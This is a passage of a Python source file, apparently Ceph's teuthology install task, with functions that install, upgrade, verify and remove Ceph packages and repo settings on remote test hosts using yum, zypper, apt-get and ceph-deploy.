'/etc/yum.repos.d/%s.repo' % project\n    host_sed_expr = \"'s/{0}/{1}/'\".format(old_host, new_host)\n    remote.run(\n        args=[\n            'if', 'test', '-f', repo_path, run.Raw(';'), 'then',\n            'sudo', 'sed', '-i', '-e', run.Raw(host_sed_expr),\n            repo_path, run.Raw(';'), 'fi']\n    )\n\n\ndef _yum_set_check_obsoletes(remote):\n    \"\"\"\n    Set check_obsoletes = 1 in /etc/yum/pluginconf.d/priorities.conf\n\n    Creates a backup at /etc/yum/pluginconf.d/priorities.conf.orig so we can\n    restore later.\n    \"\"\"\n    conf_path = '/etc/yum/pluginconf.d/priorities.conf'\n    conf_path_orig = conf_path + '.orig'\n    cmd = [\n        'test', '-e', conf_path_orig, run.Raw('||'), 'sudo', 'cp', '-af',\n        conf_path, conf_path_orig,\n    ]\n    remote.run(args=cmd)\n    cmd = [\n        'grep', 'check_obsoletes', conf_path, run.Raw('&&'), 'sudo', 'sed',\n        '-i', 's/check_obsoletes.*0/check_obsoletes = 1/g', conf_path,\n        run.Raw('||'), 'echo', 'check_obsoletes = 1', run.Raw('|'), 'sudo',\n        'tee', '-a', conf_path,\n    ]\n    remote.run(args=cmd)\n\n\ndef _yum_unset_check_obsoletes(remote):\n    \"\"\"\n    Restore the /etc/yum/pluginconf.d/priorities.conf backup\n    \"\"\"\n    conf_path = '/etc/yum/pluginconf.d/priorities.conf'\n    conf_path_orig = conf_path + '.orig'\n    remote.run(args=['sudo', 'mv', '-f', conf_path_orig, conf_path],\n               check_status=False)\n\n\ndef _rpm_package_overrides(pkgs, os):\n    \"\"\"\n    Replaces some package names with their distro-specific equivalents\n    (currently \"python3-*\" -> \"python34-*\" for CentOS)\n\n    :param pkgs: list of RPM package names\n    :param os: the teuthology.orchestra.opsys.OS object\n    \"\"\"\n    is_rhel = os.name in ['centos', 'rhel']\n    result = []\n    for pkg in pkgs:\n        if is_rhel:\n            if pkg.startswith('python3-') or pkg == 'python3':\n                pkg = pkg.replace('3', '34', count=1)\n        result.append(pkg)\n    return result\n\n\ndef _update_rpm_package_list_and_install(ctx, remote, rpm, config):\n    \"\"\"\n    Installs the ceph-release package for the relevant branch, then installs\n    the requested packages on the remote system.\n\n    TODO: split this into at least two functions.\n\n    :param ctx: the argparse.Namespace object\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param rpm: list of packages names to install\n    :param config: the config dict\n    \"\"\"\n    rpm = _rpm_package_overrides(rpm, remote.os)\n    builder = _get_builder_project(ctx, remote, config)\n    log.info('Pulling from %s', builder.base_url)\n    log.info('Package version is %s', builder.version)\n    log.info(\"Installing packages: {pkglist} on remote rpm {arch}\".format(\n        pkglist=\", \".join(rpm), arch=builder.arch))\n    dist_release = builder.dist_release\n    project = builder.project\n    start_of_url = builder.base_url\n    if dist_release == 'opensuse':\n        proj_release = '{proj}-release-{release}.noarch'.format(\n            proj=project, release=RELEASE)\n    else:\n        proj_release = '{proj}-release-{release}.{dist_release}.noarch'.format(\n            proj=project, release=RELEASE, dist_release=dist_release)\n    rpm_name = \"{rpm_nm}.rpm\".format(rpm_nm=proj_release)\n    base_url = \"{start_of_url}/noarch/{rpm_name}\".format(\n        start_of_url=start_of_url, rpm_name=rpm_name)\n    if dist_release == 'opensuse':\n        remote.run(args=[\n            'sudo', 'zypper', '-n', 'install', '--capability', rpm_name\n        ])\n    else:\n        remote.run(args=['sudo', 'yum', '-y', 'install', base_url])\n\n    if dist_release != 'opensuse':\n        uri = builder.uri_reference\n        _yum_fix_repo_priority(remote, project, uri)\n        _yum_fix_repo_host(remote, project)\n        _yum_set_check_obsoletes(remote)\n\n    if dist_release == 'opensuse':\n        remote.run(\n            args=[\n                'sudo', 'zypper', 'clean', '-a',\n            ])\n    else:\n        remote.run(\n            args=[\n                'sudo', 'yum', 'clean', 'all',\n            ])\n\n    ldir = _get_local_dir(config, remote)\n\n    if dist_release == 'opensuse':\n        pkg_mng_cmd = 'zypper'\n        pkg_mng_opts = '-n'\n        pkg_mng_subcommand_opts = '--capability'\n    else:\n        pkg_mng_cmd = 'yum'\n        pkg_mng_opts = '-y'\n        pkg_mng_subcommand_opts = ''\n\n    for cpack in rpm:\n        pkg = None\n        if ldir:\n            pkg = \"{ldir}/{cpack}\".format(\n                ldir=ldir,\n                cpack=cpack,\n            )\n            remote.run(\n                args = ['if', 'test', '-e',\n                        run.Raw(pkg), run.Raw(';'), 'then',\n                        'sudo', pkg_mng_cmd, pkg_mng_opts, 'remove',\n                        pkg_mng_subcommand_opts, pkg, run.Raw(';'),\n                        'sudo', pkg_mng_cmd, pkg_mng_opts, 'install',\n                        pkg_mng_subcommand_opts, pkg, run.Raw(';'),\n                        'fi']\n            )\n        if pkg is None:\n            remote.run(args=[\n                'sudo', pkg_mng_cmd, pkg_mng_opts, 'install',\n                pkg_mng_subcommand_opts, cpack\n            ])\n        else:\n            remote.run(\n                args = ['if', 'test', run.Raw('!'), '-e',\n                        run.Raw(pkg), run.Raw(';'), 'then',\n                        'sudo', pkg_mng_cmd, pkg_mng_opts, 'install',\n                        pkg_mng_subcommand_opts, cpack, run.Raw(';'),\n                        'fi'])\n\n\ndef verify_package_version(ctx, config, remote):\n    \"\"\"\n    Ensures that the version of package installed is what\n    was asked for in the config.\n\n    For most cases this is for ceph, but we also install samba\n    for example.\n    \"\"\"\n    # Do not verify the version if the ceph-deploy task is being used to\n    # install ceph. Verifying the ceph installed by ceph-deploy should work,\n    # but the qa suites will need reorganized first to run ceph-deploy\n    # before the install task.\n    # see: http://tracker.ceph.com/issues/11248\n    if config.get(\"extras\"):\n        log.info(\"Skipping version verification...\")\n        return True\n    builder = _get_builder_project(ctx, remote, config)\n    version = builder.version\n    pkg_to_check = builder.project\n    installed_ver = packaging.get_package_version(remote, pkg_to_check)\n    if installed_ver and version in installed_ver:\n        msg = \"The correct {pkg} version {ver} is installed.\".format(\n            ver=version,\n            pkg=pkg_to_check\n        )\n        log.info(msg)\n    else:\n        raise RuntimeError(\n            \"{pkg} version {ver} was not installed, found {installed}.\".format(\n                ver=version,\n                installed=installed_ver,\n                pkg=pkg_to_check\n            )\n        )\n\n\ndef purge_data(ctx):\n    \"\"\"\n    Purge /var/lib/ceph on every remote in ctx.\n\n    :param ctx: the argparse.Namespace object\n    \"\"\"\n    with parallel() as p:\n        for remote in ctx.cluster.remotes.iterkeys():\n            p.spawn(_purge_data, remote)\n\n\ndef _purge_data(remote):\n    \"\"\"\n    Purge /var/lib/ceph on remote.\n\n    :param remote: the teuthology.orchestra.remote.Remote object\n    \"\"\"\n    log.info('Purging /var/lib/ceph on %s', remote)\n    remote.run(args=[\n        'sudo',\n        'rm', '-rf', '--one-file-system', '--', '/var/lib/ceph',\n        run.Raw('||'),\n        'true',\n        run.Raw(';'),\n        'test', '-d', '/var/lib/ceph',\n        run.Raw('&&'),\n        'sudo',\n        'find', '/var/lib/ceph',\n        '-mindepth', '1',\n        '-maxdepth', '2',\n        '-type', 'd',\n        '-exec', 'umount', '{}', ';',\n        run.Raw(';'),\n        'sudo',\n        'rm', '-rf', '--one-file-system', '--', '/var/lib/ceph',\n    ])\n\n\ndef install_packages(ctx, pkgs, config):\n    \"\"\"\n    Installs packages on each remote in ctx.\n\n    :param ctx: the argparse.Namespace object\n    :param pkgs: list of packages names to install\n    :param config: the config dict\n    \"\"\"\n    install_pkgs = {\n        \"deb\": _update_deb_package_list_and_install,\n        \"rpm\": _update_rpm_package_list_and_install,\n    }\n    with parallel() as p:\n        for remote in ctx.cluster.remotes.iterkeys():\n            system_type = teuthology.get_system_type(remote)\n            p.spawn(\n                install_pkgs[system_type],\n                ctx, remote, pkgs[system_type], config)\n\n    for remote in ctx.cluster.remotes.iterkeys():\n        # verifies that the install worked as expected\n        verify_package_version(ctx, config, remote)\n\n\ndef _remove_deb(ctx, config, remote, debs):\n    \"\"\"\n    Removes Debian packages from remote, rudely\n\n    TODO: be less rude (e.g. using --force-yes)\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param debs: list of packages names to install\n    \"\"\"\n    log.info(\"Removing packages: {pkglist} on Debian system.\".format(\n        pkglist=\", \".join(debs)))\n    # first ask nicely\n    remote.run(\n        args=[\n            'for', 'd', 'in',\n        ] + debs + [\n            run.Raw(';'),\n            'do',\n            'sudo', 'DEBIAN_FRONTEND=noninteractive', 'apt-get', '-y', '--force-yes',\n            '-o', run.Raw('Dpkg::Options::=\"--force-confdef\"'), '-o', run.Raw(\n                'Dpkg::Options::=\"--force-confold\"'), 'purge',\n            run.Raw('$d'),\n            run.Raw('||'),\n            'true',\n            run.Raw(';'),\n            'done',\n        ])\n    # mop up anything that is broken\n    remote.run(\n        args=[\n            'dpkg', '-l',\n            run.Raw('|'),\n            # Any package that is unpacked or half-installed and also requires\n            # reinstallation\n            'grep', '^.\\(U\\|H\\)R',\n            run.Raw('|'),\n            'awk', '{print $2}',\n            run.Raw('|'),\n            'sudo',\n            'xargs', '--no-run-if-empty',\n            'dpkg', '-P', '--force-remove-reinstreq',\n        ])\n    # then let apt clean up\n    remote.run(\n        args=[\n            'sudo', 'DEBIAN_FRONTEND=noninteractive', 'apt-get', '-y', '--force-yes',\n            '-o', run.Raw('Dpkg::Options::=\"--force-confdef\"'), '-o', run.Raw(\n                'Dpkg::Options::=\"--force-confold\"'),\n            'autoremove',\n        ],\n    )\n\n\ndef _remove_rpm(ctx, config, remote, rpm):\n    \"\"\"\n    Removes RPM packages from remote\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param rpm: list of packages names to remove\n    \"\"\"\n    rpm = _rpm_package_overrides(rpm, remote.os)\n    log.info(\"Removing packages: {pkglist} on rpm system.\".format(\n        pkglist=\", \".join(rpm)))\n    builder = _get_builder_project(ctx, remote, config)\n    dist_release = builder.dist_release\n\n    if dist_release == 'opensuse':\n        pkg_mng_cmd = 'zypper'\n        pkg_mng_opts = '-n'\n        pkg_mng_subcommand_opts = '--capability'\n    else:\n        pkg_mng_cmd = 'yum'\n        pkg_mng_opts = '-y'\n        pkg_mng_subcommand_opts = ''\n\n    remote.run(\n        args=[\n            'for', 'd', 'in',\n        ] + rpm + [\n            run.Raw(';'),\n            'do',\n            'sudo',\n            pkg_mng_cmd, pkg_mng_opts, 'remove', pkg_mng_subcommand_opts,\n            run.Raw('$d'), run.Raw('||'), 'true', run.Raw(';'),\n            'done',\n        ])\n    if dist_release == 'opensuse':\n        pkg_mng_opts = '-a'\n    else:\n        pkg_mng_opts = 'all'\n    remote.run(\n        args=[\n            'sudo', pkg_mng_cmd, 'clean', pkg_mng_opts,\n        ])\n    if dist_release == 'opensuse':\n        projRelease = '%s-release-%s.noarch' % (\n            config.get('project', 'ceph'), RELEASE)\n    else:\n        projRelease = '%s-release-%s.%s.noarch' % (\n            config.get('project', 'ceph'), RELEASE, dist_release)\n    if dist_release == 'opensuse':\n        remote.run(args=['sudo', 'zypper', '-n', 'remove', projRelease])\n    else:\n        remote.run(args=['sudo', 'yum', 'erase', projRelease, '-y'])\n\n    if dist_release != 'opensuse':\n        pkg_mng_opts = 'expire-cache'\n    remote.run(\n        args=[\n            'sudo', pkg_mng_cmd, 'clean', pkg_mng_opts,\n        ])\n\n\ndef remove_packages(ctx, config, pkgs):\n    \"\"\"\n    Removes packages from each remote in ctx.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    :param pkgs: list of packages names to remove\n    \"\"\"\n    remove_pkgs = {\n        \"deb\": _remove_deb,\n        \"rpm\": _remove_rpm,\n    }\n    with parallel() as p:\n        for remote in ctx.cluster.remotes.iterkeys():\n            system_type = teuthology.get_system_type(remote)\n            p.spawn(remove_pkgs[\n                    system_type], ctx, config, remote, pkgs[system_type])\n\n\ndef _remove_sources_list_deb(remote, proj):\n    \"\"\"\n    Removes /etc/apt/sources.list.d/{proj}.list and then runs ``apt-get\n    update``.\n\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param proj: the project whose sources.list needs removing\n    \"\"\"\n    remote.run(\n        args=[\n            'sudo', 'rm', '-f', '/etc/apt/sources.list.d/{proj}.list'.format(\n                proj=proj),\n            run.Raw('&&'),\n            'sudo', 'apt-get', 'update',\n        ],\n        check_status=False,\n    )\n\n\ndef _remove_sources_list_rpm(remote, proj):\n    \"\"\"\n    Removes /etc/yum.repos.d/{proj}.repo, /var/lib/{proj}, and /var/log/{proj}\n\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param proj: the project whose .repo needs removing\n    \"\"\"\n    if remote.os.name != 'opensuse':\n        remote.run(\n            args=['sudo', 'rm', '/etc/yum.repos.d/{proj}.repo'.format(proj=proj)],\n            check_status=False,\n        )\n    # FIXME\n    # There probably should be a way of removing these files that is\n    # implemented in the yum/rpm remove procedures for the ceph package.\n    # FIXME but why is this function doing these things?\n    remote.run(\n        args=['sudo', 'rm', '-r', '/var/lib/{proj}'.format(proj=proj)],\n        check_status=False,\n    )\n    remote.run(\n        args=['sudo', 'rm', '-r', '/var/log/{proj}'.format(proj=proj)],\n        check_status=False,\n    )\n    if remote.os.name != 'opensuse':\n        _yum_unset_check_obsoletes(remote)\n\n\ndef remove_sources(ctx, config):\n    \"\"\"\n    Removes repo source files from each remote in ctx.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    \"\"\"\n    remove_sources_pkgs = {\n        'deb': _remove_sources_list_deb,\n        'rpm': _remove_sources_list_rpm,\n    }\n    with parallel() as p:\n        project = config.get('project', 'ceph')\n        log.info(\"Removing {proj} sources lists\".format(\n            proj=project))\n        for remote in ctx.cluster.remotes.iterkeys():\n            remove_fn = remove_sources_pkgs[remote.os.package_type]\n            p.spawn(remove_fn, remote, project)\n\n    with parallel() as p:\n        project = 'calamari'\n        log.info(\"Removing {proj} sources lists\".format(\n            proj=project))\n        for remote in ctx.cluster.remotes.iterkeys():\n            remove_fn = remove_sources_pkgs[remote.os.package_type]\n            p.spawn(remove_fn, remote, project)\n\n\ndef get_package_list(ctx, config):\n    debug = config.get('debuginfo', False)\n    project = config.get('project', 'ceph')\n    yaml_path = None\n    # Look for <suite_path>/packages/packages.yaml\n    if hasattr(ctx, 'config') and 'suite_path' in ctx.config:\n        suite_packages_path = os.path.join(\n            ctx.config['suite_path'],\n            'packages',\n            'packages.yaml',\n        )\n        if os.path.exists(suite_packages_path):\n            yaml_path = suite_packages_path\n    # If packages.yaml isn't found in the suite_path, potentially use\n    # teuthology's\n    yaml_path = yaml_path or os.path.join(\n        os.path.dirname(__file__),\n        'packages.yaml',\n    )\n    default_packages = yaml.safe_load(open(yaml_path))\n    default_debs = default_packages.get(project, dict()).get('deb', [])\n    default_rpms = default_packages.get(project, dict()).get('rpm', [])\n    # If a custom deb and/or rpm list is provided via the task config, use\n    # that. Otherwise, use the list from whichever packages.yaml was found\n    # first\n    debs = config.get('packages', dict()).get('deb', default_debs)\n    rpms = config.get('packages', dict()).get('rpm', default_rpms)\n    # Optionally include or exclude debug packages\n    if not debug:\n        debs = filter(lambda p: not p.endswith('-dbg'), debs)\n        rpms = filter(lambda p: not p.endswith('-debuginfo'), rpms)\n\n    excluded_packages = config.get('exclude_packages', list())\n    if excluded_packages:\n        log.debug(\"Excluding packages: {}\".format(excluded_packages))\n\n        def exclude(pkgs):\n            return list(set(pkgs).difference(set(excluded_packages)))\n\n        debs = exclude(debs)\n        rpms = exclude(rpms)\n\n    package_list = dict(deb=debs, rpm=rpms)\n    log.debug(\"Package list is: {}\".format(package_list))\n    return package_list\n\n\n# @contextlib.contextmanager\n# def install(ctx, config):\n#     \"\"\"\n#     The install task. Installs packages for a given project on all hosts in\n#     ctx. May work for projects besides ceph, but may not. Patches welcomed!\n\n#     :param ctx: the argparse.Namespace object\n#     :param config: the config dict\n#     \"\"\"\n\n#     project = config.get('project', 'ceph')\n\n#     package_list = get_package_list(ctx, config)\n#     debs = package_list['deb']\n#     rpm = package_list['rpm']\n\n#     # pull any additional packages out of config\n#     extra_pkgs = config.get('extra_packages')\n#     log.info('extra packages: {packages}'.format(packages=extra_pkgs))\n#     debs += extra_pkgs\n#     rpm += extra_pkgs\n\n#     # When extras is in the config we want to purposely not install ceph.\n#     # This is typically used on jobs that use ceph-deploy to install ceph\n#     # or when we are testing ceph-deploy directly.  The packages being\n#     # installed are needed to properly test ceph as ceph-deploy won't\n#     # install these. 'extras' might not be the best name for this.\n#     extras = config.get('extras')\n#     if extras is not None:\n#         debs = ['ceph-test', 'ceph-fuse',\n#                 'librados2', 'librbd1',\n#                 'python-ceph']\n#         rpm = ['ceph-fuse', 'librbd1', 'librados2', 'ceph-test', 'python-ceph']\n#     package_list = dict(deb=debs, rpm=rpm)\n#     install_packages(ctx, package_list, config)\n#     try:\n#         yield\n#     finally:\n#         remove_packages(ctx, config, package_list)\n#         remove_sources(ctx, config)\n#         if project == 'ceph':\n#             purge_data(ctx)\n\n\ndef _upgrade_deb_packages(ctx, config, remote, debs):\n    \"\"\"\n    Upgrade project's packages on remote Debian host\n    Before doing so, installs the project's GPG key, writes a sources.list\n    file, and runs ``apt-get update``.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param debs: the Debian packages to be installed\n    :param branch: the branch of the project to be used\n    \"\"\"\n    # check for ceph release key\n    r = remote.run(\n        args=[\n            'sudo', 'apt-key', 'list', run.Raw('|'), 'grep', 'Ceph',\n        ],\n        stdout=StringIO(),\n        check_status=False,\n    )\n    if r.stdout.getvalue().find('Ceph automated package') == -1:\n        # if it doesn't exist, add it\n        remote.run(\n            args=[\n                'wget', '-q', '-O-',\n                'http://git.ceph.com/?p=ceph.git;a=blob_plain;f=keys/autobuild.asc',\n                run.Raw('|'),\n                'sudo', 'apt-key', 'add', '-',\n            ],\n            stdout=StringIO(),\n        )\n\n    builder = _get_builder_project(ctx, remote, config)\n    base_url = builder.base_url\n    log.info('Pulling from %s', base_url)\n\n    version = builder.version\n    log.info('Package version is %s', version)\n\n    remote.run(\n        args=[\n            'echo', 'deb', base_url, builder.codename, 'main',\n            run.Raw('|'),\n            'sudo', 'tee', '/etc/apt/sources.list.d/{proj}.list'.format(\n                proj=config.get('project', 'ceph')),\n        ],\n        stdout=StringIO(),\n    )\n    remote.run(args=['sudo', 'apt-get', 'update'], check_status=False)\n    remote.run(\n        args=[\n            'sudo', 'DEBIAN_FRONTEND=noninteractive', 'apt-get', '-y', '--force-yes',\n            '-o', run.Raw('Dpkg::Options::=\"--force-confdef\"'), '-o', run.Raw(\n                'Dpkg::Options::=\"--force-confold\"'),\n            'install',\n        ] + ['%s=%s' % (d, version) for d in debs],\n    )\n\n\n@contextlib.contextmanager\ndef rh_install(ctx, config):\n    \"\"\"\n    Installs rh ceph on all hosts in ctx.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    \"\"\"\n    version = config['rhbuild']\n    rh_versions = ['1.3.0', '1.3.1', '1.3.2', '2.0']\n    if version in rh_versions:\n        log.info(\"%s is a supported version\", version)\n    else:\n        raise RuntimeError(\"Unsupported RH Ceph version %s\", version)\n\n    with parallel() as p:\n        for remote in ctx.cluster.remotes.iterkeys():\n            if remote.os.name == 'rhel':\n                log.info(\"Installing on RHEL node: %s\", remote.shortname)\n                p.spawn(rh_install_pkgs, ctx, remote, version)\n            else:\n                log.info(\"Node %s is not RHEL\", remote.shortname)\n                raise RuntimeError(\"Test requires RHEL nodes\")\n    try:\n        yield\n    finally:\n        if config.get('skip_uninstall'):\n            log.info(\"Skipping uninstall of Ceph\")\n        else:\n            rh_uninstall(ctx=ctx, config=config)\n\n\ndef rh_uninstall(ctx, config):\n    \"\"\"\n     Uninstalls rh ceph on all hosts.\n     It actually spawns rh_uninstall_pkgs() on the remotes for uninstall.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    \"\"\"\n    pass\n    # with parallel() as p:\n    #     for remote in ctx.cluster.remotes.iterkeys():\n    #         p.spawn(rh_uninstall_pkgs, ctx, remote)\n\n\ndef rh_install_pkgs(ctx, remote, installed_version):\n    \"\"\"\n    Installs RH build using ceph-deploy.\n\n    :param ctx: the argparse.Namespace object\n    :param remote: the teuthology.orchestra.remote.Remote object\n    \"\"\"\n    pkgs = ['ceph-deploy']\n    # install ceph-selinux for 1.3.2 as its not dependency of any core packages\n    if (installed_version == '1.3.2'):\n        pkgs.append('ceph-selinux')\n    # install ceph-fuse for 2.0 as its not dependency of any core packages\n    if (installed_version == '2.0'):\n        pkgs.append('ceph-fuse')\n    rh_version_check = {'0.94.1': '1.3.0', '0.94.3': '1.3.1',\n                        '0.94.5': '1.3.2', '10.1.0': '2.0'}\n    log.info(\"Remove any epel packages installed on node %s\", remote.shortname)\n    remote.run(args=['sudo', 'yum', 'remove', run.Raw(\"leveldb xmlstarlet fcgi\"), '-y'],check_status=False)\n    for pkg in pkgs:\n        log.info(\"Check if %s is already installed on node %s\", pkg, remote.shortname)\n        remote.run(args=['sudo', 'yum', 'clean', 'metadata'])\n        r = remote.run(\n             args=['yum', 'list', 'installed', run.Raw(pkg)],\n             stdout=StringIO(),\n             check_status=False,\n            )\n        if r.stdout.getvalue().find(pkg) == -1:\n            log.info(\"Installing %s \" % pkg)\n            remote.run(args=['sudo', 'yum', 'install', pkg, '-y'])\n        else:\n            log.info(\"Removing and reinstalling %s on %s\", pkg, remote.shortname)\n            remote.run(args=['sudo', 'yum', 'remove', pkg, '-y'])\n            remote.run(args=['sudo', 'yum', 'install', pkg, '-y'])\n\n    log.info(\"Check if ceph is already installed on %s\", remote.shortname)\n    r = remote.run(\n          args=['yum', 'list', 'installed','ceph'],\n          stdout=StringIO(),\n          check_status=False,\n        )\n    host = r.hostname\n    if r.stdout.getvalue().find('ceph') == -1:\n        log.info(\"Install ceph using ceph-deploy on %s\", remote.shortname)\n        remote.run(args=['sudo', 'ceph-deploy', 'install', run.Raw('--no-adjust-repos'), host])\n        remote.run(args=['sudo', 'yum', 'install', 'ceph-test', '-y'])\n    else:\n        log.info(\"Removing and reinstalling Ceph on %s\", remote.shortname)\n        remote.run(args=['sudo', 'ceph-deploy', 'uninstall', host])\n        remote.run(args=['sudo', 'ceph-deploy', 'purgedata', host])\n        remote.run(args=['sudo', 'ceph-deploy', 'install', host])\n        remote.run(args=['sudo', 'yum', 'remove', 'ceph-test', '-y'])\n        remote.run(args=['sudo', 'yum', 'install', 'ceph-test', '-y'])\n\n    # check package version\n    version = packaging.get_package_version(remote, 'ceph-common')\n    log.info(\"Node: {n} Ceph version installed is {v}\".format(n=remote.shortname,v=version))\n    if rh_version_check[version] == installed_version:\n        log.info(\"Installed version matches on %s\", remote.shortname)\n    else:\n        raise RuntimeError(\"Version check failed on node %s\", remote.shortname)\n\n\ndef rh_uninstall_pkgs(ctx, remote):\n    \"\"\"\n    Removes Ceph from all RH hosts\n\n    :param ctx: the argparse.Namespace object\n    :param remote: the teuthology.orchestra.remote.Remote object\n    \"\"\"\n    log.info(\"uninstalling packages using ceph-deploy on node %s\", remote.shortname)\n    r = remote.run(args=['date'], check_status=False)\n    host = r.hostname\n    remote.run(args=['sudo', 'ceph-deploy', 'uninstall', host])\n    time.sleep(4)\n    remote.run(args=['sudo', 'ceph-deploy', 'purgedata', host])\n    log.info(\"Uninstalling ceph-deploy\")\n    remote.run(args=['sudo', 'yum', 'remove', 'ceph-deploy', '-y'], check_status=False)\n    remote.run(args=['sudo', 'yum', 'remove', 'ceph-test', '-y'], check_status=False)\n\n\ndef _upgrade_rpm_packages(ctx, config, remote, pkgs):\n    \"\"\"\n    Upgrade project's packages on remote RPM-based host\n    Before doing so, it makes sure the project's -release RPM is installed -\n    removing any previous version first.\n\n    :param ctx: the argparse.Namespace object\n    :param config: the config dict\n    :param remote: the teuthology.orchestra.remote.Remote object\n    :param pkgs: the RPM packages to be installed\n    :param branch: the branch of the project to be used\n    \"\"\"\n    builder = _get_builder_project(ctx, remote, config)\n    log.info(\n        \"Host {host} is: {distro} {ver} {arch}\".format(\n            host=remote.shortname,\n            distro=builder.os_type,\n            ver=builder.os_version,\n            arch=builder.arch,)\n    )\n\n    base_url = builder.base_url\n    log.info('Repo base URL: %s', base_url)\n    project = builder.project\n\n    # Remove the -release package before upgrading it\n    args = ['sudo', 'rpm', '-ev', '%s-release' % project]\n    remote.run(args=args)\n\n    # Build the new -release package path\n    if (builder.dist_release == 'opensuse'):\n        release_rpm = \"{base}/noarch/{proj}-release-{release}.noarch.rpm\".format(\n            base=base_url,\n            proj=project,\n            release=RELEASE\n        )\n    else:\n        release_rpm = \"{base}/noarch/{proj}-release-{release}.{dist_release}.noarch.rpm\".format(\n            base=base_url,\n            proj=project,\n            release=RELEASE,\n            dist_release=builder.dist_release,\n        )\n\n    # Upgrade the -release package\n    args = ['sudo', 'rpm', '-Uv', release_rpm]\n    remote.run(args=args)\n\n    if builder.dist_release != 'opensuse':\n        uri = builder.uri_reference\n        _yum_fix_repo_priority(remote, project, uri)\n        _yum_fix_repo_host(remote, project)\n        _yum_set_check_obsoletes(remote)\n\n    if builder.dist_release == 'opensuse':\n        pkg_mng_cmd = 'zypper'\n        pkg_mng_opts = '-a'\n    else:\n        pkg_mng_cmd = 'yum'\n        pkg_mng_opts = 'all'\n\n    remote.run(\n        args=[\n            'sudo', pkg_mng_cmd, 'clean', pkg_mng_opts,\n        ])\n\n    # Actually upgrade the project packages\n    if builder.dist_release == 'opensuse':\n        pkg_mng_opts = '-n'\n        pkg_mng_subcommand_opts = '--capability'\n    else:\n        pkg_mng_opts = '-y'\n        pkg_mng_subcommand_opts = ''\n    args = ['sudo', pkg_mng_cmd, pkg_mng_opts, 'install', pkg_mng_subcommand_opts]\n    args += pkgs\n    remote.run(args=args)\n\n\ndef upgrade_old_style(ctx, node, remote, pkgs, system_type):\n    \"\"\"\n    Handle the upgrade using methods in use prior to ceph-deploy.\n    \"\"\"\n    if system_type == 'deb':\n        _upgrade_deb_packages(ctx, node, remote, pkgs)\n    elif system_type == 'rpm':\n        _upgrade_rpm_packages(ctx, node, remote, pkgs)\n\ndef upgrade_with_ceph_deploy(ctx, node, remote, pkgs, sys_type):\n    \"\"\"\n    Upgrade using ceph-deploy\n    \"\"\"\n    dev_table = ['branch', 'tag', 'dev']\n    ceph_dev_parm = ''\n    ceph_rel_parm = ''\n    for entry in node.keys():\n        if entry in dev_table:\n            ceph_dev_parm = node[entry]\n        if entry == 'release':\n            ceph_rel_parm = node[entry]\n    params = []\n    if ceph_dev_parm:\n        params += ['--dev', ceph_dev_parm]\n    if ceph_rel_parm:\n        params += ['--release', ceph_rel_parm]\n    params.append(remote.name)\n    subprocess.call(['ceph-deploy', 'install'] + params)\n    remote.run(args=['sudo', 'restart', 'ceph-all'])\n\ndef upgrade_remote_to_config(ctx, config):\n    assert config is None or isinstance(config, dict), \\\n        \"install.upgrade only supports a dictionary for configuration\"\n\n    project = config.get('project', 'ceph')\n\n    # use 'install' overrides here, in case the upgrade target is left\n    # unspecified/implicit.\n    install_overrides = ctx.config.get(\n        'overrides', {}).get('install', {}).get(project, {})\n    log.info('project %s config %s overrides %s', project, config,\n             install_overrides)\n\n    # build a normalized remote -> config dict\n    remotes = {}\n    if 'all' in config:\n        for remote in ctx.cluster.remotes.iterkeys():\n            remotes[remote] = config.get('all')\n    else:\n        for role in config.keys():\n            remotes_dict = ctx.cluster.only(role).remotes\n            if not remotes_dict:\n                # This is a regular config argument, not a role\n                continue\n            remote = remotes_dict.keys()[0]\n            if remote in remotes:\n                log.warn('remote %s came up twice (role %s)', remote, role)\n                continue\n            remotes[remote] = config.get(role)\n\n    result = {}\n    for remote, node in remotes.iteritems():\n        if not node:\n            node = {}\n\n        this_overrides = copy.deepcopy(install_overrides)\n        if 'sha1' in node or 'tag' in node or 'branch' in node:\n            log.info('config contains sha1|tag|branch, removing those keys from override')\n            this_overrides.pop('sha1', None)\n            this_overrides.pop('tag', None)\n            this_overrides.pop('branch', None)\n        teuthology.deep_merge(node, this_overrides)\n        log.info('remote %s config %s', remote, node)\n        node['project'] = project\n\n        result[remote] = node\n\n    return result\n\n\ndef upgrade_common(ctx, config, deploy_style):\n    \"\"\"\n    Common code for upgrading\n    \"\"\"\n    remotes = upgrade_remote_to_config(ctx, config)\n    project = config.get('project', 'ceph')\n\n    # FIXME: extra_pkgs is not distro-agnostic\n    extra_pkgs = config.get('extra_packages', [])\n    log.info('extra packages: {packages}'.format(packages=extra_pkgs))\n\n    for remote, node in remotes.iteritems():\n\n        system_type = teuthology.get_system_type(remote)\n        assert system_type in ('deb', 'rpm')\n        pkgs = get_package_list(ctx, config)[system_type]\n        log.info(\"Upgrading {proj} {system_type} packages: {pkgs}\".format(\n            proj=project, system_type=system_type, pkgs=', '.join(pkgs)))\n            # FIXME: again, make extra_pkgs distro-agnostic\n        pkgs += extra_pkgs\n\n        deploy_style(ctx, node, remote, pkgs, system_type)\n        verify_package_version(ctx, node, remote)\n    return len(remotes)\n\ndocstring_for_upgrade = \"\"\"\"\n    Upgrades packages for a given project.\n\n    For example::\n\n        tasks:\n        - install.{cmd_parameter}:\n             all:\n                branch: end\n\n    or specify specific roles::\n\n        tasks:\n        - install.{cmd_parameter}:\n             mon.a:\n                branch: end\n             osd.0:\n                branch: other\n\n    or rely on the overrides for the target version::\n\n        overrides:\n          install:\n            ceph:\n              sha1: ...\n        tasks:\n        - install.{cmd_parameter}:\n            all:\n\n    (HACK: the overrides will *only* apply the sha1/branch/tag if those\n    keys are not present in the config.)\n\n    It is also possible to attempt to exclude packages from the upgrade set:\n\n        tasks:\n        - install.{cmd_parameter}:\n            exclude_packages: ['ceph-test', 'ceph-test-dbg']\n\n    :param ctx: the argparse.Namespace object\n    :param 